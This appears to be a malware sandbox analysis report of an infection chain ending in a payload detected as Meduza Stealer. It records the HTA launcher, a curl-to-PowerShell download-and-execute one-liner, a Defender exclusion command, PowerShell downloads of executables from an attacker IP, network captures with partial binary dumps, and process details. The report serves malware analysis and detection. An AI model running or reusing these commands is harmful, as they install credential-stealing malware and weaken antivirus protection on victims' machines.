-OutFile $dllPathInvoke-WebRequest -Uri $exeUrl -OutFile $exePathStart-Process -FilePath $exePath

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	147.45.47.15	80	3736	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:39.580110073 CET	169	OUT	GET /iviewers.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.47.15 Connection: Keep-Alive
Dec 19, 2024 08:11:40.838850975 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:11:40 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 18 Dec 2024 13:27:42 GMT ETag: "1800-6298b60de3f6f" Accept-Ranges: bytes Content-Length: 6144 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 93 65 61 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0b 00 00 0c 00 00 00 08 00 00 00 00 00 00 ae 2b 00 00 00 20 00 00 00 40 00 00 00 00 00 10 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 a0 00 00 00 04 00 00 00 00 00 00 03 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 04 40 00 00 28 00 00 00 5c 2b 00 00 4f 00 00 00 00 60 00 00 b8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELeag!+ @ @@(\+O` H.text `.sdataV@@.rsrc`@@.reloc@B
Dec 19, 2024 08:11:40.838890076 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: +H!`T+rp(-rp(-+rprSp(V( ((
Dec 19, 2024 08:11:40.838902950 CET	1236	IN	Data Raw: 00 a9 00 b1 02 06 00 b1 00 c8 02 33 00 79 00 52 02 37 00 b1 00 da 02 37 00 79 00 52 02 3d 00 b9 00 ee 02 1a 00 2e 00 0b 00 5b 00 2e 00 13 00 64 00 2e 00 1b 00 83 00 2e 00 23 00 83 00 2e 00 2b 00 91 00 2e 00 33 00 83 00 2e 00 3b 00 83 00 2e 00 43 Data Ascii: 3yR77yR=.[.d..#.+.3.;.C.K.S.[.c.k9>CC<Module>System.Runtime.CompilerServicesCompilationRelax
Dec 19, 2024 08:11:40.838943958 CET	1236	IN	Data Raw: 20 00 22 00 41 00 64 00 64 00 2d 00 4d 00 70 00 50 00 72 00 65 00 66 00 65 00 72 00 65 00 6e 00 63 00 65 00 20 00 2d 00 45 00 78 00 63 00 6c 00 75 00 73 00 69 00 6f 00 6e 00 50 00 61 00 74 00 68 00 20 00 27 00 01 05 27 00 22 00 01 0b 72 00 75 00 Data Ascii: "Add-MpPreference -ExclusionPath ''"runas.exe+-Command "iwr -useb '' -OutFile '2@C6H QIM
Dec 19, 2024 08:11:40.839004993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 01 00 01 00 00 00 30 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 48 00 00 00 58 60 00 00 60 03 00 00 00 00 00 00 00 00 00 00 60 03 34 00 00 00 56 00 53 00 5f 00 56 00 45 00 52 00 53 00 49 00 4f 00 4e Data Ascii: 0HX```4VS_VERSION_INFO?DVarFileInfo$TranslationStringFile
Dec 19, 2024 08:11:40.839020014 CET	269	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:11:40.905538082 CET	145	OUT	GET /Launcher.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.47.15
Dec 19, 2024 08:11:41.306653976 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:11:41 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Wed, 18 Dec 2024 13:27:42 GMT ETag: "325e0-6298b60deeb4f" Accept-Ranges: bytes Content-Length: 206304 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ae 14 73 f9 ea 75 1d aa ea 75 1d aa ea 75 1d aa fe 1e 1e ab e2 75 1d aa fe 1e 1c ab fd 75 1d aa ea 75 1c aa ae 77 1d aa fe 1e 18 ab c4 75 1d aa fe 1e 19 ab a5 75 1d aa fe 1e e2 aa eb 75 1d aa fe 1e 1f ab eb 75 1d aa 52 69 63 68 ea 75 1d aa 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e2 9e e4 2e 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 14 00 16 02 00 00 f2 00 00 00 00 00 00 a0 f0 01 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 0a 00 00 00 0a 00 00 00 05 00 01 00 00 00 00 00 00 30 03 00 00 04 00 00 26 47 03 00 02 00 40 c1 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$suuuuuuwuuuuRichuPEL.0@0&G@ tH`!TH@@l.textT `.datat0@.idata,@"@@.rsrc`@@@.reloc,@B
Dec 19, 2024 08:11:41.306673050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 ed 41 00 f0 b2 40 00 b0 b2 40 00 d0 b2 40 00 00 00 00 00 00 00 00 00 80 ed 41 00 70 f1 41 00 c0 fa 41 00 00 00 Data Ascii: A@@@ApAA`P`pP p
Dec 19, 2024 08:11:41.306684017 CET	448	IN	Data Raw: 00 c0 95 01 00 00 d0 95 01 00 00 10 96 01 00 00 d0 b3 01 00 00 00 b4 01 00 00 20 b4 01 00 00 30 b4 01 00 00 f0 b4 01 00 00 20 b5 01 00 00 60 b5 01 00 00 70 b5 01 00 00 80 b5 01 00 00 80 b6 01 00 00 90 b8 01 00 00 c0 b8 01 00 00 d0 bb 01 00 00 00 Data Ascii: 0 `p `P` 0@P`p0
Dec 19, 2024 08:11:41.306822062 CET	1236	IN	Data Raw: 01 00 00 30 e3 01 00 00 40 e3 01 00 00 50 e3 01 00 00 60 e3 01 00 00 70 e3 01 00 00 80 e3 01 00 00 90 e3 01 00 00 a0 e3 01 00 00 b0 e3 01 00 00 e0 e3 01 00 00 f0 e3 01 00 00 00 e4 01 00 00 30 e4 01 00 00 40 e4 01 00 00 50 e4 01 00 00 60 e4 01 00 Data Ascii: 0@P`p0@P`p @P`p 0@P`p
Dec 19, 2024 08:11:41.306833029 CET	1236	IN	Data Raw: 43 00 6f 00 75 00 6c 00 64 00 20 00 6e 00 6f 00 74 00 20 00 6c 00 6f 00 61 00 64 00 20 00 62 00 69 00 74 00 6d 00 61 00 70 00 73 00 00 00 00 00 57 00 61 00 72 00 6e 00 69 00 6e 00 67 00 21 00 20 00 43 00 65 00 72 00 74 00 61 00 69 00 6e 00 20 00 Data Ascii: Could not load bitmapsWarning! Certain features of this program may be unavailable to you because you are not logged in
Dec 19, 2024 08:11:41.315134048 CET	1236	IN	Data Raw: 50 e3 41 00 80 c5 40 00 60 b4 40 00 50 b4 40 00 60 b4 40 00 80 de 41 00 90 e2 41 00 a0 de 41 00 b0 de 41 00 c0 de 41 00 d0 de 41 00 e0 de 41 00 b0 e2 41 00 f0 de 41 00 00 df 41 00 10 df 41 00 20 df 41 00 30 df 41 00 40 df 41 00 50 df 41 00 60 df Data Ascii: PA@`@P@`@AAAAAAAAAAA A0A@APA`ApA A0A@APA`ApAAAAAAAA`@@@AA A0A@APApApAAA`A@A@`@P@`@AAAAAA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49738	147.45.47.15	80	7348	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:11:48.307334900 CET	168	OUT	GET /duschno.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 147.45.47.15 Connection: Keep-Alive
Dec 19, 2024 08:11:49.573472023 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:11:49 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 09 Dec 2024 20:28:42 GMT ETag: "13ba00-628dc35e76e87" Accept-Ranges: bytes Content-Length: 1292800 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c6 4e af 37 82 2f c1 64 82 2f c1 64 82 2f c1 64 c9 57 c6 65 83 2f c1 64 c9 57 c7 65 83 2f c1 64 ca aa c5 65 9b 2f c1 64 92 ab c2 65 8a 2f c1 64 92 ab c5 65 92 2f c1 64 92 ab c4 65 e0 2f c1 64 c9 57 c4 65 38 2f c1 64 c9 57 c2 65 85 2f c1 64 c9 57 c5 65 97 2f c1 64 82 2f c0 64 a5 2e c1 64 c9 57 c0 65 9d 2f c1 64 c9 aa c8 65 9d 2f c1 64 c9 aa 3e 64 83 2f c1 64 c9 aa c3 65 83 2f c1 64 52 69 63 68 82 2f c1 64 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 9d 37 3b 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 29 00 34 0d 00 00 a6 06 00 00 00 00 00 20 f2 0a 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$N7/d/d/dWe/dWe/de/de/de/de/dWe8/dWe/dWe/d/d.dWe/de/d>d/de/dRich/dPEd7;g")4 @`h@l<8(@Px.text24 `.rdataxP8@@.data\|Z@.pdataln<@@.rsrc@@.reloc<@B
Dec 19, 2024 08:11:49.573534966 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: H\$Ht$H\|$ UATAUAVAWH$H+H~\|H@H@HH/*OHzH@H@HH>=-)H@H@H
Dec 19, 2024 08:11:49.573571920 CET	1236	IN	Data Raw: b5 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 20 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 28 66 0f 6f 45 a0 0f 57 44 24 20 66 0f 7f 45 a0 0f 57 c0 0f 11 85 88 07 00 00 4c 89 b5 98 07 00 00 4c 89 b5 a0 07 00 00 48 8d 45 a0 4c 8b c3 Data Ascii: @H@HD$ H@H@HD$(foEWD$ fEWLLHELIB<uHUHqHxaH@H@HEH&!'H@H@HEH@H@HD$ H@H@HD$(foEWD$ fEWW
Dec 19, 2024 08:11:49.573688984 CET	1236	IN	Data Raw: c3 66 0f 1f 84 00 00 00 00 00 49 ff c0 42 80 3c 00 00 75 f6 48 8d 55 10 48 8d 8d 88 08 00 00 e8 46 6d 04 00 90 4c 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 45 20 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 45 28 48 89 b5 40 14 00 00 48 8b Data Ascii: fIB<uHUHFmL@H@HE H@H@HE(H@H@HD$ H@H@HD$(foE WD$ fE WLLHE LIB<uHU HlHhaH@H@HE0H@H@HE8H
Dec 19, 2024 08:11:49.573726892 CET	896	IN	Data Raw: 00 48 89 44 24 48 48 b8 fd 98 41 20 d0 d3 e5 a6 48 89 85 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 50 48 89 8d 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 58 66 0f 6f 85 80 06 00 00 0f 57 44 24 20 66 0f 7f 85 80 06 00 00 66 0f 6f 8d 90 06 00 Data Ascii: HD$HHA H@H@HD$PH@H@HD$XfoWD$ ffoWL$0ffoWD$@ffoWL$PfW`WpHLIB<uHH`gHpmH@H@HEpH7X'H@
Dec 19, 2024 08:11:49.573767900 CET	1236	IN	Data Raw: 00 48 89 85 98 00 00 00 48 89 b5 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 20 48 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 28 66 0f 6f 85 90 00 00 00 0f 57 44 24 20 66 0f 7f 85 90 00 00 00 0f 57 c0 0f 11 85 f0 09 00 00 0f 57 c9 f3 0f Data Ascii: HH@H@HD$ H@H@HD$(foWD$ fWWHL@IB<uHHdL@H@HH@H@HH@H@HD$ H@H@HD$(foWD$ fW
Dec 19, 2024 08:11:49.573803902 CET	1236	IN	Data Raw: c7 85 c0 0a 00 00 02 00 00 00 4c 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 85 d0 00 00 00 48 b8 30 cc 2c 4f 41 7e bb d8 48 89 85 40 14 00 00 48 8b 85 40 14 00 00 48 89 85 d8 00 00 00 48 89 b5 40 14 00 00 48 8b 85 40 14 00 00 48 89 44 24 20 48 Data Ascii: L@H@HH0,OA~H@H@HH@H@HD$ H@H@HD$(foWD$ fWLLHLIB<uHH_L@H@HH@H@HH@H
Dec 19, 2024 08:11:49.573844910 CET	1236	IN	Data Raw: 01 00 00 0f 57 c0 0f 11 85 78 0b 00 00 4c 89 b5 88 0b 00 00 4c 89 b5 90 0b 00 00 48 8d 85 00 01 00 00 4c 8b c3 66 0f 1f 84 00 00 00 00 00 49 ff c0 42 80 3c 00 00 75 f6 48 8d 95 00 01 00 00 48 8d 8d 78 0b 00 00 e8 23 5b 04 00 90 c7 85 98 0b 00 00 Data Ascii: WxLLHLfIB<uHHx#[HezH@H@HH@H@HH@H@HD$ H@H@HD$(foWD$ fWWHLIB<uH
Dec 19, 2024 08:11:49.574033976 CET	1236	IN	Data Raw: 8b c3 0f 1f 84 00 00 00 00 00 49 ff c0 42 80 3c 00 00 75 f6 48 8d 95 e0 04 00 00 48 8d 8d 30 0c 00 00 e8 73 56 04 00 90 48 b8 c8 64 74 fe 8a 97 dc f5 48 89 85 40 14 00 00 48 8b 85 40 14 00 00 48 89 85 40 01 00 00 48 89 bd 40 14 00 00 48 8b 85 40 Data Ascii: IB<uHH0sVHdtH@H@H@H@H@HHH@H@HD$ H@H@HD$(fo@WD$ f@WPW`H@L@IB<uH@HPUpIpyL@
Dec 19, 2024 08:11:49.574049950 CET	1236	IN	Data Raw: b8 2f ce 30 49 7b 60 bd b4 48 89 85 40 14 00 00 48 8b 85 40 14 00 00 48 89 85 48 05 00 00 48 b8 25 39 35 d6 4c 7e b3 fe 48 89 85 40 14 00 00 48 8b 85 40 14 00 00 48 89 85 50 05 00 00 4c 89 ad 40 14 00 00 48 8b 85 40 14 00 00 48 89 85 58 05 00 00 Data Ascii: /0I{`H@H@HHH%95L~H@H@HPL@H@HXH@H@HD$ H@H@HD$(HI\AL~H@H@HD$0L@H@HD$8fo@WD$ f@foPWL$0fPWLL H@L
Dec 19, 2024 08:11:49.693814993 CET	1236	IN	Data Raw: b5 c8 0d 00 00 4c 89 b5 d0 0d 00 00 48 8d 85 a0 01 00 00 4c 8b c3 49 ff c0 42 80 3c 00 00 75 f6 48 8d 95 a0 01 00 00 48 8d 8d b8 0d 00 00 e8 bf 4c 04 00 90 c7 85 d8 0d 00 00 02 00 00 00 4c 89 bd 40 14 00 00 48 8b 85 40 14 00 00 48 89 85 b0 01 00 Data Ascii: LHLIB<uHHLL@H@HH/MBcH@H@HH@H@HD$ H@H@HD$(foWD$ fWWHLfDIB<uHHLL

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49741	104.26.12.205	443	7540	C:\Windows\Temp\io12j1es.2tm.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 07:11:54 UTC	100	OUT	GET / HTTP/1.1 Accept: text/html; text/plain; / Host: api.ipify.org Cache-Control: no-cache
2024-12-19 07:11:54 UTC	423	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 07:11:54 GMT Content-Type: text/plain Content-Length: 12 Connection: close Vary: Origin cf-cache-status: DYNAMIC Server: cloudflare CF-RAY: 8f4594cb89e18c60-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2133&min_rtt=2121&rtt_var=804&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2821&recv_bytes=738&delivery_rate=1376709&cwnd=54&unsent_bytes=0&cid=ff64238d9bb6ab41&ts=641&x=0"
2024-12-19 07:11:54 UTC	12	IN	Data Raw: 38 2e 34 36 2e 31 32 33 2e 31 38 39 Data Ascii: 8.46.123.189

Target ID:	0
Start time:	02:11:35
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\script.hta"
Imagebase:	0x410000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	02:11:36
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c curl -s http://147.45.47.15/script.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -Command -
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	02:11:36
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	02:11:36
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\curl.exe
Wow64 process (32bit):	true
Commandline:	curl -s http://147.45.47.15/script.ps1
Imagebase:	0xa50000
File size:	470'528 bytes
MD5 hash:	44E5BAEEE864F1E9EDBE3986246AB37A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:11:36
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -NoProfile -ExecutionPolicy Bypass -Command -
Imagebase:	0xb80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:11:41
Start date:	19/12/2024
Path:	C:\Windows\Temp\Launcher.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Temp\Launcher.exe"
Imagebase:	0xb50000
File size:	206'304 bytes
MD5 hash:	2696D944FFBEF69510B0C826446FD748
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	02:11:41
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\Temp'"
Imagebase:	0xb80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:11:41
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:11:43
Start date:	19/12/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	02:11:46
Start date:	19/12/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "iwr -useb 'http://147.45.47.15/duschno.exe' -OutFile 'C:\Windows\Temp\io12j1es.2tm.exe'"
Imagebase:	0xb80000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	02:11:46
Start date:	19/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	02:11:51
Start date:	19/12/2024
Path:	C:\Windows\Temp\io12j1es.2tm.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Temp\io12j1es.2tm.exe"
Imagebase:	0x7ff6f1d50000
File size:	1'292'800 bytes
MD5 hash:	C6813DA66EBA357D0DEAA48C2F7032B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MeduzaStealer, Description: Yara detected Meduza Stealer, Source: C:\Windows\Temp\io12j1es.2tm.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Function 06D00FDF Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1724486376.0000000006D00000.00000010.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6d00000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: e283136bbf5dde14c85fbe4d52dcd61d89dbe36b7cbd793c25c74318b03df970
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Function 06D00FE7 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1724486376.0000000006D00000.00000010.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_6d00000_mshta.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction ID: e283136bbf5dde14c85fbe4d52dcd61d89dbe36b7cbd793c25c74318b03df970
Opcode Fuzzy Hash: cbebcb7641d6dd959061102dba4fb45bccaa93f69790a5bf6f5692b71942eee3
Instruction Fuzzy Hash:

Analysis Process: powershell.exePID: 3736, Parent PID: 5820COMMON

Executed Functions

Function 00987528 Relevance: 3.2, Strings: 2, Instructions: 669COMMON

Download Yara Rule

Strings

LRkq, xrefs: 009875D5
(Xpq, xrefs: 009876B6

Memory Dump Source

Source File: 00000005.00000002.1773333868.0000000000980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_980000_powershell.jbxd

Similarity

API ID:
String ID: (Xpq$LRkq
API String ID: 0-1581626736
Opcode ID: c71eeb6227e30f86480200dc7b38a434ba3888615e20984186953eefc3959801
Instruction ID: b32f6a94bc987ff2992cc2a2eaed07e8bf2f0088b1bffa6009399103492eaa3a
Opcode Fuzzy Hash: c71eeb6227e30f86480200dc7b38a434ba3888615e20984186953eefc3959801
Instruction Fuzzy Hash: F2526E34B00218CFDB14EB64C894B6DBBB6BF85304F218499E449AB3A5DB35ED86CF51

Function 00987518 Relevance: 2.6, Strings: 2, Instructions: 143COMMON

Download Yara Rule

Strings

LRkq, xrefs: 009875D5
(Xpq, xrefs: 009876B6

Memory Dump Source

Source File: 00000005.00000002.1773333868.0000000000980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_980000_powershell.jbxd

Similarity

API ID:
String ID: (Xpq$LRkq
API String ID: 0-1581626736
Opcode ID: 4eb2cdabc63b35ac6ee4311be7e117f59b9edc8008bdc53ed480826d99ac68f3
Instruction ID: 07518f3650af4315c603089fafa0e156df924f62656497c9ae7c0c59d18306c5
Opcode Fuzzy Hash: 4eb2cdabc63b35ac6ee4311be7e117f59b9edc8008bdc53ed480826d99ac68f3
Instruction Fuzzy Hash: 37518C34B002188FDB24DFA8D844B9DBBB6FF84700F2185A9E545AB3A5DB71AD41CF91

Function 009829F0 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.1773333868.0000000000980000.00000040.00000800.00020000.00000000.sdmp, Offset: 00980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_980000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f4d88f06567e691e0d325137092aef4bd7ded0fe9ea58a77d4858eafde848d38
Instruction ID: 6247cce1f3fd615354b5d2e7c01444e9979267858e9fe11a14e022195664a112
Opcode Fuzzy Hash: f4d88f06567e691e0d325137092aef4bd7ded0fe9ea58a77d4858eafde848d38
Instruction Fuzzy Hash: A0919BB0A006098FCB15DF59C5949BEFBB1FF88310B2486A9D855AB3A5C735EC51CFA0

Function 00982B00 Relevance: .1, Instructions: 111COMMON

